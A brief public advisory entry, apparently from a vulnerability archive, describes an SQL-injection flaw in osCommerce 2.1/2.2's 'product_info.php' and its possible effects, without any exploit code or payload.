osCommerce 2.1/2.2 - 'product_info.php' SQL Injection

source: https://www.securityfocus.com/bid/19774/info

osCommerce is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data. 

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
